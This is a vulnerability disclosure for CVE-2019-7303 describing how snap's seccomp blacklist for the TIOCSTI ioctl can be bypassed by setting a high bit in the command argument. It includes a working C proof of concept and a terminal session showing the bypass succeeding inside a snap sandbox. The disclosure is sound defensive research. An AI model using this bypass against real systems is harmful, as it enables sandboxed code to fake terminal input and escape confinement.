snap seccomp TIOCSTI Blacklist Circumvention

`snap: seccomp blacklist for TIOCSTI can be circumvented   
  
Related CVE Numbers: CVE-2019-7303.  
  
  
snap uses a seccomp filter to prevent the use of the TIOCSTI ioctl; in the  
source code, this filter is expressed as follows:  
  
# TIOCSTI allows for faking input (man tty_ioctl)  
# TODO: this should be scaled back even more  
ioctl - !TIOCSTI  
  
In the X86-64 version of the compiled seccomp filter, this results in the  
following BPF bytecode:  
  
[...]  
0139 if nr == 0x00000010: [true +0, false +3]  
013b if args[1].high != 0x00000000: [true +205, false +0] -> ret ALLOW (syscalls: ioctl)  
0299 if args[1].low == 0x00005412: [true +111, false +112] -> ret ERRNO  
030a ret ALLOW (syscalls: ioctl)  
[...]  
  
This bytecode performs a 64-bit comparison; however, the syscall entry point for  
ioctl() is defined with a 32-bit command argument in the kernel:  
  
SYSCALL_DEFINE3(ioctl, unsigned int, fd, unsigned int, cmd, unsigned long, arg)  
{  
return ksys_ioctl(fd, cmd, arg);  
}  
  
This means that setting a bit in the high half of the command parameter will  
circumvent the seccomp filter while being ignored by the kernel.  
  
This can be tested as follows on Ubuntu 18.04. You might have to launch the  
GNOME calculator once first to create the snap directory hierarchy, I'm not  
sure.  
  
====================================================================  
user@ubuntu-18-04-vm:~$ cat tiocsti.c  
#define _GNU_SOURCE  
#include <termios.h>  
#include <sys/ioctl.h>  
#include <unistd.h>  
#include <stdio.h>  
#include <sys/syscall.h>  
#include <errno.h>  
  
static int ioctl64(int fd, unsigned long nr, void *arg) {  
errno = 0;  
return syscall(__NR_ioctl, fd, nr, arg);  
}  
  
int main(void) {  
int res;  
char pushmeback = '#';  
res = ioctl64(0, TIOCSTI, &pushmeback);  
printf(\"normal TIOCSTI: %d (%m)\  
\", res);  
res = ioctl64(0, TIOCSTI | (1UL<<32), &pushmeback);  
printf(\"high-bit-set TIOCSTI: %d (%m)\  
\", res);  
}  
  
user@ubuntu-18-04-vm:~$ gcc -o tiocsti tiocsti.c -Wall  
user@ubuntu-18-04-vm:~$ ./tiocsti  
#normal TIOCSTI: 0 (Success)  
#high-bit-set TIOCSTI: 0 (Success)  
user@ubuntu-18-04-vm:~$ ##  
user@ubuntu-18-04-vm:~$ cp tiocsti /home/user/snap/gnome-calculator/current/tiocsti  
user@ubuntu-18-04-vm:~$ snap run --shell gnome-calculator  
[...]  
user@ubuntu-18-04-vm:/home/user$ cd  
user@ubuntu-18-04-vm:~$ ./tiocsti  
normal TIOCSTI: -1 (Operation not permitted)  
#high-bit-set TIOCSTI: 0 (Success)  
user@ubuntu-18-04-vm:~$ #  
user@ubuntu-18-04-vm:~$ pwd  
/home/user/snap/gnome-calculator/260  
user@ubuntu-18-04-vm:~$   
====================================================================  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
Found by: [email protected]  
  
`